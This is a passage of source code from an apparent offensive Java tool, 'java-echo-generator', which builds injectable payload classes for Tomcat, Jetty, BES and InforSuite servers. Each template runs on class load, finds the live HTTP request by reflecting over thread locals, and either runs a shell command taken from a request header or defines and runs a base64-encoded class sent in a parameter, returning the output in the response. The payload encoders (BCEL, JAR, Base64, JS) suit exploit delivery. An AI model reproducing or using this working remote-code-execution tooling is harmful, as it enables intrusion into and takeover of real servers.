public void setServerType(String serverType) {
this.serverType = serverType;
}
public void setModelType(String modelType) {
this.modelType = modelType;
}
public void setClassName(String className) {
this.className = className;
}
public void setFormatType(String formatType) {
this.formatType = formatType;
}
public void setOutputDir(String outputDir) {
this.outputDir = outputDir;
}
public void setReqHeaderName(String reqHeaderName) {
this.reqHeaderName = reqHeaderName;
}
public void setReqParamName(String reqParamName) {
this.reqParamName = reqParamName;
}
public void setRespHeaderName(String respHeaderName) {
this.respHeaderName = respHeaderName;
}
public void setBase64ClassString(String base64ClassString) {
this.base64ClassString = base64ClassString;
}
public void setClassBytes(byte[] classBytes) {
this.classBytes = classBytes;
}
public void setClassBytesLength(int classBytesLength) {
this.classBytesLength = classBytesLength;
}
public void setLoaderClassName(String loaderClassName) {
this.loaderClassName = loaderClassName;
}
public void setGadgetType(String gadgetType) {
this.gadgetType = gadgetType;
}
private String serverType;
private String modelType;
private String className;
private String formatType;
private String outputDir;
private String desKey;
private String reqHeaderName;
private String reqParamName;
private String respHeaderName;
private String base64ClassString;
private byte[] classBytes;
private int classBytesLength;
private boolean implementsASTTransformationType = false;
private boolean implementsScriptEngineFactory = false;
private String loaderClassName;
private String gadgetType;
public String getModelType() {
return modelType;
}
public String getServerType() {
return serverType;
}
public String getClassName() {
return className;
}
public String getFormatType() {
return formatType;
}
public String getOutputDir() {
return outputDir;
}
public String getDesKey() {
return desKey;
}
public String getReqHeaderName() {
return reqHeaderName;
}
public String getReqParamName() {
return reqParamName;
}
public String getRespHeaderName() {
return respHeaderName;
}
public String getBase64ClassString() {
return base64ClassString;
}
public byte[] getClassBytes() {
return classBytes;
}
public int getClassBytesLength() {
return classBytesLength;
}
public String getLoaderClassName() {
return loaderClassName;
}
public String getGadgetType() {
return gadgetType;
}
public void build() {
// 检查 serverType、modelType、formatType 是否已设置
if (this.modelType == null || this.serverType == null || this.formatType == null) {
throw new IllegalStateException("serverType、modelType and formatType must be set.");
}
// 可选参数，默认随机
if (this.getOutputDir() == null || Objects.equals(this.getOutputDir(), "")) setOutputDir(System.getProperty("user.dir"));
if (this.getClassName() == null || Objects.equals(this.getClassName(), "")) setClassName(ClassUtil.getRandomClassName());
if (this.getReqHeaderName() == null || Objects.equals(this.getReqHeaderName(), "")) setReqHeaderName(HeaderUtil.genHeaderName(jEGConstants.headerKeys));
if (this.getReqParamName() == null || Objects.equals(this.getReqParamName(), "")) setReqParamName(RandomUtil.genRandomLengthString(4));
if (this.getGadgetType() == null) setGadgetType(Constants.GADGET_NONE);
}
}
================================================
FILE: jeg-core/src/main/java/jeg/core/config/jEGConstants.java
================================================
package jeg.core.config;
import jeg.common.config.Constants;
public interface jEGConstants extends Constants {
String JEG_NAME = "java-echo-generator";
String JEG_VERSION = "v1.0.0";
String JEG_AUTHOR = "pen4uin";
String JEG_DESCRIPTION = "Java 回显载荷生成器";
String[] headerKeys = {"Accept-","Content-","Cache-Control-","Transfer-","Last-Modified-","Etag-"};
String MODEL_CODE = "Code";
String MODEL_CMD = "Command";
}
================================================
FILE: jeg-core/src/main/java/jeg/core/jEGenerator.java
================================================
package jeg.core;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import jeg.common.config.Constants;
import jeg.common.format.*;
import jeg.common.util.*;
import jeg.core.config.jEGConfig;
import jeg.core.config.jEGConstants;
import jeg.core.util.TemplateUtil;
import java.io.File;
import java.io.IOException;
public class jEGenerator {
private final static ClassPool pool = ClassPool.getDefault();
private final jEGConfig config;
private byte[] clazzBytes;
public jEGenerator(jEGConfig config) throws Throwable {
this.config = config;
this.genPayload();
this.formatPayload();
}
private void genPayload() throws Exception {
CtClass ctClass;
pool.insertClassPath(new ClassClassPath(jEGenerator.class));
String className = TemplateUtil.getEchoTplClassName(config.getServerType(), config.getModelType());
ctClass = pool.getCtClass(className);
ctClass.getClassFile().setVersionToJava5();
try {
if (config.getReqHeaderName() != null && config.getModelType().equals(jEGConstants.MODEL_CMD)) {
JavassistUtil.addMethod(ctClass, "getReqHeaderName", String.format("{return \"%s\";}", config.getReqHeaderName()));
}
if (config.getReqParamName() != null && config.getModelType().equals(jEGConstants.MODEL_CODE)) {
JavassistUtil.addMethod(ctClass, "getReqParamName", String.format("{return \"%s\";}", config.getReqParamName()));
}
ctClass.setName(config.getClassName());
} catch (Exception e) {
e.printStackTrace();
}
JavassistUtil.removeSourceFileAttribute(ctClass);
clazzBytes = new GadgetUtil(config, pool, ctClass).modify();
config.setClassBytesLength(clazzBytes.length);
config.setClassBytesInFormatter(clazzBytes);
config.setClassNameInFormatter(config.getClassName());
ctClass.detach();
}
private void formatPayload() throws Throwable {
if (config.getFormatType().contains(jEGConstants.FORMAT_BCEL)) {
clazzBytes = new BCELFormatter().transform(clazzBytes, config);
} else if (config.getFormatType().contains(jEGConstants.FORMAT_JAR)) {
clazzBytes = new JARFormatter().transform(clazzBytes, config);
} else if (config.getFormatType().contains(jEGConstants.FORMAT_BASE64)) {
clazzBytes = new BASE64Formatter().transform(clazzBytes, config);
} else if (config.getFormatType().contains(jEGConstants.FORMAT_BIGINTEGER)) {
clazzBytes = new BigIntegerFormatter().transform(clazzBytes, config);
} else if (config.getFormatType().contains(jEGConstants.FORMAT_JS)) {
clazzBytes = new JavaScriptFormatter().transform(clazzBytes, config);
}
}
public String getPayload() throws IOException {
String outputDir = config.getOutputDir();
String file_output_path = outputDir;
if (!file_output_path.endsWith(File.separator)) file_output_path = file_output_path + File.separator;
File dir = new File(outputDir);
if (!dir.exists() || !dir.isDirectory()) {
dir.mkdirs();
}
// 判断输出格式
switch (config.getFormatType()) {
case Constants.FORMAT_CLASS:
file_output_path = file_output_path + ClassUtil.getSimpleName(config.getClassName()) + ".class";
break;
case Constants.FORMAT_JAR:
file_output_path = file_output_path + ClassUtil.getSimpleName(config.getClassName()) + ".jar";
break;
case Constants.FORMAT_BIGINTEGER:
case Constants.FORMAT_JS:
case Constants.FORMAT_BASE64:
case Constants.FORMAT_BCEL:
return new String(clazzBytes);
default:
break;
}
FileUtil.writeFile(file_output_path, clazzBytes);
return file_output_path;
}
}
================================================
FILE: jeg-core/src/main/java/jeg/core/template/all/DFSCmdExecTpl.java
================================================
package jeg.core.template.all;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashSet;
import java.util.Scanner;
public class DFSCmdExecTpl {
static {
try {
new DFSCmdExecTpl();
} catch (Exception e) {
}
}
static HashSet<Object> h;
static ClassLoader cl = Thread.currentThread().getContextClassLoader();
static Class hsr;//HTTPServletRequest.class
static Class hsp;//HTTPServletResponse.class
static String cmd;
static Object r;
static Object p;
public DFSCmdExecTpl() {
r = null;
p = null;
h =new HashSet<Object>();
try {
hsr = cl.loadClass("javax.servlet.http.HttpServletRequest");
hsp = cl.loadClass("javax.servlet.http.HttpServletResponse");
} catch (ClassNotFoundException e) {
e.printStackTrace();
}
F(Thread.currentThread(),0);
}
private static String getReqHeaderName() {
return "cmd";
}
private static boolean i(Object obj){
if(obj==null|| h.contains(obj)){
return true;
}
h.add(obj);
return false;
}
private static void p(Object o, int depth){
if(depth > 52||(r !=null&& p !=null)){
return;
}
if(!i(o)){
if(r ==null&&hsr.isAssignableFrom(o.getClass())){
r = o;
//Tomcat特殊处理
try {
cmd = (String)hsr.getMethod("getHeader",new Class[]{String.class}).invoke(o,getReqHeaderName());
if(cmd==null) {
r = null;
}else{
//System.out.println("find Request");
try {
Method getResponse = r.getClass().getMethod("getResponse");
p = getResponse.invoke(r);
} catch (Exception e) {
//System.out.println("getResponse Error");
r=null;
//e.printStackTrace();
}
}
} catch (IllegalAccessException e) {
e.printStackTrace();
} catch (InvocationTargetException e) {
e.printStackTrace();
} catch (NoSuchMethodException e) {
e.printStackTrace();
}
}else if(p ==null&&hsp.isAssignableFrom(o.getClass())){
p = o;
}
if(r !=null&& p !=null){
try {
PrintWriter pw = (PrintWriter)hsp.getMethod("getWriter").invoke(p);
pw.println(new Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next());
pw.flush();
pw.close();
//p.addHeader("out",new Scanner(Runtime.getRuntime().exec(r.getHeader("cmd")).getInputStream()).useDelimiter("\\A").next());
}catch (Exception e){
}
return;
}
F(o,depth+1);
}
}
private static void F(Object start, int depth){
Class n=start.getClass();
do{
for (Field declaredField : n.getDeclaredFields()) {
declaredField.setAccessible(true);
Object o = null;
try{
o = declaredField.get(start);
if(!o.getClass().isArray()){
p(o,depth);
}else{
for (Object q : (Object[]) o) {
p(q, depth);
}
}
}catch (Exception e){
}
}
}while(
(n = n.getSuperclass())!=null
);
}
}
================================================
FILE: jeg-core/src/main/java/jeg/core/template/all/DFSCodeExecTpl.java
================================================
package jeg.core.template.all;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashSet;
import java.util.Scanner;
public class DFSCodeExecTpl {
static {
try {
new DFSCodeExecTpl();
} catch (Exception e) {
}
}
static HashSet<Object> h;
static ClassLoader cl = Thread.currentThread().getContextClassLoader();
static Class hsr;//HTTPServletRequest.class
static Class hsp;//HTTPServletResponse.class
static String code;
static Object r;
static Object p;
public DFSCodeExecTpl() {
r = null;
p = null;
h =new HashSet<Object>();
try {
hsr = cl.loadClass("javax.servlet.http.HttpServletRequest");
hsp = cl.loadClass("javax.servlet.http.HttpServletResponse");
} catch (ClassNotFoundException e) {
e.printStackTrace();
}
F(Thread.currentThread(),0);
}
private static String getReqParamName() {
return "code";
}
private static boolean i(Object obj){
if(obj==null|| h.contains(obj)){
return true;
}
h.add(obj);
return false;
}
private static void p(Object o, int depth){
if(depth > 52||(r !=null&& p !=null)){
return;
}
if(!i(o)){
if(r ==null&&hsr.isAssignableFrom(o.getClass())){
r = o;
//Tomcat特殊处理
try {
code = (String)hsr.getMethod("getParameter",new Class[]{String.class}).invoke(o,getReqParamName());
if(code==null) {
r = null;
}else{
//System.out.println("find Request");
try {
Method getResponse = r.getClass().getMethod("getResponse");
p = getResponse.invoke(r);
} catch (Exception e) {
//System.out.println("getResponse Error");
r=null;
//e.printStackTrace();
}
}
} catch (IllegalAccessException | InvocationTargetException e) {
e.printStackTrace();
} catch (NoSuchMethodException e) {
e.printStackTrace();
}
}else if(p ==null&&hsp.isAssignableFrom(o.getClass())){
p = o;
}
if(r !=null&& p !=null){
try {
PrintWriter pw = (PrintWriter)hsp.getMethod("getWriter").invoke(p);
pw.println(exec(code));
pw.flush();
pw.close();
//p.addHeader("out",new Scanner(Runtime.getRuntime().exec(r.getHeader("cmd")).getInputStream()).useDelimiter("\\A").next());
}catch (Exception e){
}
return;
}
F(o,depth+1);
}
}
private static String exec(String var2) {
try {
byte[] clazzByte = base64Decode(var2);
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class clazz = (Class) defineClass.invoke(Thread.currentThread().getContextClassLoader(), clazzByte, 0, clazzByte.length);
return clazz.newInstance().toString();
} catch (Exception e) {
return e.getMessage();
}
}
private static byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception var4) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke((Object) null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
private static void F(Object start, int depth){
Class n=start.getClass();
do{
for (Field declaredField : n.getDeclaredFields()) {
declaredField.setAccessible(true);
Object o = null;
try{
o = declaredField.get(start);
if(!o.getClass().isArray()){
p(o,depth);
}else{
for (Object q : (Object[]) o) {
p(q, depth);
}
}
}catch (Exception e){
}
}
}while(
(n = n.getSuperclass())!=null
);
}
}
================================================
FILE: jeg-core/src/main/java/jeg/core/template/bes/BESCmdExecTpl.java
================================================
package jeg.core.template.bes;
import jeg.core.template.jetty.JettyCmdExecTpl;
import java.io.InputStream;
import java.io.Writer;
import java.lang.reflect.Array;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.ArrayList;
import java.util.List;
import java.util.Scanner;
import java.util.Set;
public class BESCmdExecTpl {
static {
try {
new BESCmdExecTpl();
} catch (Exception e) {
}
}
private static String getReqHeaderName() {
return "cmd";
}
public BESCmdExecTpl() throws InvocationTargetException, NoSuchMethodException, IllegalAccessException {
run();
}
public void run() throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Set<Thread> threadSet = Thread.getAllStackTraces().keySet();
List<Thread> taskThreadList = new ArrayList();
for (Thread thread : threadSet) {
if (thread.getClass().getName().contains("org.apache.tomcat.util.threads.TaskThread")) {
// 将目标对象添加到列表中
taskThreadList.add(thread);
}
}
List<Object> tables = new ArrayList();
for (Thread thread : taskThreadList) {
try {
Field threadLocalsField = Thread.class.getDeclaredField("threadLocals");
threadLocalsField.setAccessible(true);
Object localMap = threadLocalsField.get(thread);
Class<?> threadLocalMapClass = Class.forName("java.lang.ThreadLocal$ThreadLocalMap");
Field tableField = threadLocalMapClass.getDeclaredField("table");
tableField.setAccessible(true);
Object table = tableField.get(localMap);
tables.add(table);
} catch (Exception e) {
continue;
}
}
List<Object> values = new ArrayList();
for (Object table : tables) {
// 遍历 table 中的项
try {
if (table != null && table.getClass().isArray()) {
int length = Array.getLength(table);
for (int i = 0; i < length; i++) {
Object entry = Array.get(table, i);
if (entry != null) {
// 获取 entry 的 value 字段
try {
Field valueField = entry.getClass().getDeclaredField("value");
valueField.setAccessible(true);
Object value = valueField.get(entry);
values.add(value);
} catch (Exception e) {
}
}
}
}
} catch (Exception e) {
}
}
for (Object value : values) {
if (value != null && value.getClass().getName().equals("org.apache.catalina.connector.Request")) {
try {
// 从 request header 获取参数
String cmd = (String) value.getClass().getMethod("getHeader", new Class[]{String.class}).invoke(value, new Object[]{getReqHeaderName()});
if (cmd != null) {
Object response = value.getClass().getMethod("getResponse", new Class[0]).invoke(value);
Writer writer = (Writer) response.getClass().getMethod("getWriter", new Class[0]).invoke(response, new Object[0]);
writer.write(executeCommand(cmd));
writer.flush();
writer.close();
break;
}
} catch (Exception ignored) {
}
}
}
}
// 执行模块
public static String executeCommand(String cmd) {
if (cmd == null) {
return "command is null";
}
try {
boolean isLinux = true;
String osType = System.getProperty("os.name");
if (osType != null && osType.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"/bin/sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\a");
String execRes = "";
while (s.hasNext()) {
execRes += s.next();
}
if (execRes.isEmpty()) {
return String.format("code exec successfully, command:%s fails. The command may not exist!\n", cmd);
}
return execRes;
} catch (Exception e) {
return String.format( e.getMessage());
}
}
}
================================================
FILE: jeg-core/src/main/java/jeg/core/template/bes/BESCodeExecTpl.java
================================================
package jeg.core.template.bes;
import java.io.Writer;
import java.lang.reflect.Array;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.List;
import java.util.Set;
public class BESCodeExecTpl {
static {
try {
new BESCodeExecTpl();
} catch (Exception e) {
}
}
private static String getReqParamName() {
return "code";
}
public BESCodeExecTpl() throws InvocationTargetException, NoSuchMethodException, IllegalAccessException {
run();
}
public void run() throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Set<Thread> threadSet = Thread.getAllStackTraces().keySet();
List<Thread> taskThreadList = new ArrayList();
for (Thread thread : threadSet) {
if (thread.getClass().getName().contains("org.apache.tomcat.util.threads.TaskThread")) {
// 将目标对象添加到列表中
taskThreadList.add(thread);
}
}
List<Object> tables = new ArrayList();
for (Thread thread : taskThreadList) {
try {
Field threadLocalsField = Thread.class.getDeclaredField("threadLocals");
threadLocalsField.setAccessible(true);
Object localMap = threadLocalsField.get(thread);
Class<?> threadLocalMapClass = Class.forName("java.lang.ThreadLocal$ThreadLocalMap");
Field tableField = threadLocalMapClass.getDeclaredField("table");
tableField.setAccessible(true);
Object table = tableField.get(localMap);
tables.add(table);
} catch (Exception e) {
continue;
}
}
List<Object> values = new ArrayList();
for (Object table : tables) {
// 遍历 table 中的项
try {
if (table != null && table.getClass().isArray()) {
int length = Array.getLength(table);
for (int i = 0; i < length; i++) {
Object entry = Array.get(table, i);
if (entry != null) {
// 获取 entry 的 value 字段
try {
Field valueField = entry.getClass().getDeclaredField("value");
valueField.setAccessible(true);
Object value = valueField.get(entry);
values.add(value);
} catch (Exception e) {
}
}
}
}
} catch (Exception e) {
}
}
for (Object value : values) {
if (value != null && value.getClass().getName().equals("org.apache.catalina.connector.Request")) {
try {
// 从 request body 获取参数
String code = (String) value.getClass().getMethod("getParameter", String.class).invoke(value, getReqParamName());
if (code != null) {
Object response = value.getClass().getMethod("getResponse", new Class[0]).invoke(value);
Writer writer = (Writer) response.getClass().getMethod("getWriter", new Class[0]).invoke(response, new Object[0]);
writer.write(defineClazz(code));
writer.flush();
writer.close();
break;
}
} catch (Exception ignored) {
}
}
}
}
private static String defineClazz(String var2) {
try {
byte[] clazzByte = base64Decode(var2);
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class clazz = (Class) defineClass.invoke(Thread.currentThread().getContextClassLoader(), clazzByte, 0, clazzByte.length);
return clazz.newInstance().toString();
} catch (Exception e) {
return e.getMessage();
}
}
private static byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception var4) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke((Object) null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
}
================================================
FILE: jeg-core/src/main/java/jeg/core/template/inforsuite/InforSuiteCmdExecTpl.java
================================================
package jeg.core.template.inforsuite;
import jeg.core.template.bes.BESCmdExecTpl;
import java.io.InputStream;
import java.io.Writer;
import java.lang.reflect.Array;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.ArrayList;
import java.util.List;
import java.util.Scanner;
import java.util.Set;
public class InforSuiteCmdExecTpl {
static {
try {
new InforSuiteCmdExecTpl();
} catch (Exception e) {
}
}
private static String getReqHeaderName() {
return "cmd";
}
public InforSuiteCmdExecTpl() throws InvocationTargetException, NoSuchMethodException, IllegalAccessException {
run();
}
public void run() throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Set<Thread> threadSet = Thread.getAllStackTraces().keySet();
List<Thread> taskThreadList = new ArrayList();
for (Thread thread : threadSet) {
if (thread.getClass().getName().contains("com.sun.grizzly.http.HttpWorkerThread")) {
// 将目标对象添加到列表中
taskThreadList.add(thread);
}
}
List<Object> tables = new ArrayList();
for (Thread thread : taskThreadList) {
try {
Field threadLocalsField = Thread.class.getDeclaredField("threadLocals");
threadLocalsField.setAccessible(true);
Object localMap = threadLocalsField.get(thread);
Class<?> threadLocalMapClass = Class.forName("java.lang.ThreadLocal$ThreadLocalMap");
Field tableField = threadLocalMapClass.getDeclaredField("table");
tableField.setAccessible(true);
Object table = tableField.get(localMap);
tables.add(table);
} catch (Exception e) {
continue;
}
}
List<Object> values = new ArrayList();
for (Object table : tables) {
// 遍历 table 中的项
try {
if (table != null && table.getClass().isArray()) {
int length = Array.getLength(table);
for (int i = 0; i < length; i++) {
Object entry = Array.get(table, i);
if (entry != null) {
// 获取 entry 的 value 字段
try {
Field valueField = entry.getClass().getDeclaredField("value");
valueField.setAccessible(true);
Object value = valueField.get(entry);
values.add(value);
} catch (Exception e) {
}
}
}
}
} catch (Exception e) {
}
}
for (Object value : values) {
if (value != null && value.getClass().getName().equals("com.sun.enterprise.web.pwc.connector.coyote.PwcCoyoteRequest")) {
try {
// 从 request header 获取参数
String cmd = (String) value.getClass().getSuperclass().getMethod("getHeader", new Class[]{String.class}).invoke(value, new Object[]{getReqHeaderName()});
if (cmd != null) {
Object response = value.getClass().getSuperclass().getMethod("getResponse", new Class[0]).invoke(value);
Writer writer = (Writer) response.getClass().getMethod("getWriter", new Class[0]).invoke(response, new Object[0]);
writer.write(executeCommand(cmd));
writer.flush();
writer.close();
break;
}
} catch (Exception ignored) {
}
}
}
}
// 执行模块
public static String executeCommand(String cmd) {
if (cmd == null) {
return "command is null";
}
try {
boolean isLinux = true;
String osType = System.getProperty("os.name");
if (osType != null && osType.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"/bin/sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\a");
String execRes = "";
while (s.hasNext()) {
execRes += s.next();
}
if (execRes.isEmpty()) {
return String.format("code exec successfully, command:%s fails. The command may not exist!\n", cmd);
}
return execRes;
} catch (Exception e) {
return String.format(e.getMessage());
}
}
}
================================================
FILE: jeg-core/src/main/java/jeg/core/template/inforsuite/InforSuiteCodeExecTpl.java
================================================
package jeg.core.template.inforsuite;
import java.io.Writer;
import java.lang.reflect.Array;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.List;
import java.util.Set;
public class InforSuiteCodeExecTpl {
static {
try {
new InforSuiteCodeExecTpl();
} catch (Exception e) {
}
}
private static String getReqParamName() {
return "code";
}
public InforSuiteCodeExecTpl() throws InvocationTargetException, NoSuchMethodException, IllegalAccessException {
run();
}
public void run() throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Set<Thread> threadSet = Thread.getAllStackTraces().keySet();
List<Thread> taskThreadList = new ArrayList();
for (Thread thread : threadSet) {
if (thread.getClass().getName().contains("com.sun.grizzly.http.HttpWorkerThread")) {
// 将目标对象添加到列表中
taskThreadList.add(thread);
}
}
List<Object> tables = new ArrayList();
for (Thread thread : taskThreadList) {
try {
Field threadLocalsField = Thread.class.getDeclaredField("threadLocals");
threadLocalsField.setAccessible(true);
Object localMap = threadLocalsField.get(thread);
Class<?> threadLocalMapClass = Class.forName("java.lang.ThreadLocal$ThreadLocalMap");
Field tableField = threadLocalMapClass.getDeclaredField("table");
tableField.setAccessible(true);
Object table = tableField.get(localMap);
tables.add(table);
} catch (Exception e) {
continue;
}
}
List<Object> values = new ArrayList();
for (Object table : tables) {
// 遍历 table 中的项
try {
if (table != null && table.getClass().isArray()) {
int length = Array.getLength(table);
for (int i = 0; i < length; i++) {
Object entry = Array.get(table, i);
if (entry != null) {
// 获取 entry 的 value 字段
try {
Field valueField = entry.getClass().getDeclaredField("value");
valueField.setAccessible(true);
Object value = valueField.get(entry);
values.add(value);
} catch (Exception e) {
}
}
}
}
} catch (Exception e) {
}
}
for (Object value : values) {
if (value != null && value.getClass().getName().equals("com.sun.enterprise.web.pwc.connector.coyote.PwcCoyoteRequest")) {
try {
// 从 request body 获取参数
String code = (String) value.getClass().getSuperclass().getMethod("getParameter", String.class).invoke(value, getReqParamName());
if (code != null) {
Object response = value.getClass().getSuperclass().getMethod("getResponse", new Class[0]).invoke(value);
Writer writer = (Writer) response.getClass().getMethod("getWriter", new Class[0]).invoke(response, new Object[0]);
writer.write(defineClazz(code));
writer.flush();
writer.close();
break;
}
} catch (Exception ignored) {
}
}
}
}
private static String defineClazz(String var2) {
try {
byte[] clazzByte = base64Decode(var2);
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class clazz = (Class) defineClass.invoke(Thread.currentThread().getContextClassLoader(), clazzByte, 0, clazzByte.length);
return clazz.newInstance().toString();
} catch (Exception e) {
return e.getMessage();
}
}
private static byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception var4) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke((Object) null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
}
================================================
FILE: jeg-core/src/main/java/jeg/core/template/jetty/JettyCmdExecTpl.java
================================================
package jeg.core.template.jetty;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Array;
import java.lang.reflect.Field;
import java.util.Scanner;
public class JettyCmdExecTpl {
static {
try {
new JettyCmdExecTpl();
} catch (Exception e) {
}
}
private String getReqHeaderName() {
return "cmd";
}
public JettyCmdExecTpl() {
run();
}
private void run() {
try {
Thread thread = Thread.currentThread();
Field field = Class.forName("java.lang.Thread").getDeclaredField("threadLocals");
field.setAccessible(true);
Object threadLocals = field.get(thread);
Class<?> threadLocalMap = Class.forName("java.lang.ThreadLocal$ThreadLocalMap");
Field tableField = threadLocalMap.getDeclaredField("table");
tableField.setAccessible(true);
Object table = tableField.get(threadLocals);
Class<?> entry = Class.forName("java.lang.ThreadLocal$ThreadLocalMap$Entry");
Field valueField = entry.getDeclaredField("value");
valueField.setAccessible(true);
Object httpConnection = null;
Object obj;
for (int i = 0; i < Array.getLength(table); ++i) {
obj = Array.get(table, i);
if (obj != null) {
httpConnection = valueField.get(obj);
if (httpConnection != null && (httpConnection.getClass().getName().equals("org.eclipse.jetty.server.HttpConnection") || httpConnection.getClass().getName().contains("HttpConnection"))) {
break;
}
}
}
if (httpConnection == null) {
throw new RuntimeException("HttpConnection not found");
}
Object response;
Object request;
try {
Object httpChannel = httpConnection.getClass().getMethod("getHttpChannel").invoke(httpConnection);
response = httpChannel.getClass().getMethod("getResponse").invoke(httpChannel);
request = httpChannel.getClass().getMethod("getRequest").invoke(httpChannel);
} catch (Exception e) {
// 兼容 Jetty(7.6.16.v20140903)
response = httpConnection.getClass().getMethod("getResponse").invoke(httpConnection);
request = httpConnection.getClass().getMethod("getRequest").invoke(httpConnection);
}
String cmd = (String) request.getClass().getMethod("getHeader", new Class[]{String.class}).invoke(request, new Object[]{getReqHeaderName()});
if (cmd != null) {
PrintWriter writer = (PrintWriter) response.getClass().getMethod("getWriter").invoke(response);
writer.write(exec(cmd));
writer.flush();
writer.close();
}
} catch (Exception e) {
e.printStackTrace();
}
}
private String exec(String cmd) {
try {
boolean isLinux = true;
String osType = System.getProperty("os.name");
if (osType != null && osType.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"/bin/sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\a");
String execRes = "";
while (s.hasNext()) {
execRes += s.next();
}
return execRes;
} catch (Exception e) {
return e.getMessage();
}
}
}
================================================
FILE: jeg-core/src/main/java/jeg/core/template/jetty/JettyCodeExecTpl.java
================================================
package jeg.core.template.jetty;
import java.io.PrintWriter;
import java.lang.reflect.Array;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
public class JettyCodeExecTpl {
static {
try {
new JettyCodeExecTpl();
} catch (Exception e) {
}
}
private String getReqParamName() {
return "code";
}
public JettyCodeExecTpl() {
run();
}
public void run() {
try {
Thread thread = Thread.currentThread();
Field field = Class.forName("java.lang.Thread").getDeclaredField("threadLocals");
field.setAccessible(true);
Object threadLocals = field.get(thread);
Class<?> threadLocalMap = Class.forName("java.lang.ThreadLocal$ThreadLocalMap");
Field tableField = threadLocalMap.getDeclaredField("table");
tableField.setAccessible(true);
Object table = tableField.get(threadLocals);
Class<?> entry = Class.forName("java.lang.ThreadLocal$ThreadLocalMap$Entry");
Field valueField = entry.getDeclaredField("value");
valueField.setAccessible(true);
Object httpConnection = null;
Object obj;
for (int i = 0; i < Array.getLength(table); ++i) {
obj = Array.get(table, i);
if (obj != null) {
httpConnection = valueField.get(obj);
if (httpConnection != null && (httpConnection.getClass().getName().equals("org.eclipse.jetty.server.HttpConnection") || httpConnection.getClass().getName().contains("HttpConnection"))) {
break;
}
}
}
Object response;
Object request;
try {
Object httpChannel = httpConnection.getClass().getMethod("getHttpChannel").invoke(httpConnection);
response = httpChannel.getClass().getMethod("getResponse").invoke(httpChannel);
request = httpChannel.getClass().getMethod("getRequest").invoke(httpChannel);
} catch (Exception e) {
response = httpConnection.getClass().getMethod("getResponse").invoke(httpConnection);
request = httpConnection.getClass().getMethod("getRequest").invoke(httpConnection);
}
String code = (String) request.getClass().getDeclaredMethod("getParameter", String.class).invoke(request, getReqParamName());
if (code != null && code != "") {
PrintWriter writer = (PrintWriter) response.getClass().getMethod("getWriter").invoke(response);
writer.write(exec(code));
writer.flush();
writer.close();
}
} catch (Exception e) {
e.printStackTrace();
}
}
private String exec(String var2) {
try {
byte[] clazzByte = base64Decode(var2);
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class clazz = (Class) defineClass.invoke(new javax.management.loading.MLet(new java.net.URL[0],java.lang.Thread.currentThread().getContextClassLoader()), clazzByte, 0, clazzByte.length);
return clazz.newInstance().toString();
} catch (Exception e) {
return e.getMessage();
}
}
private byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception var4) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke((Object) null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
}
================================================
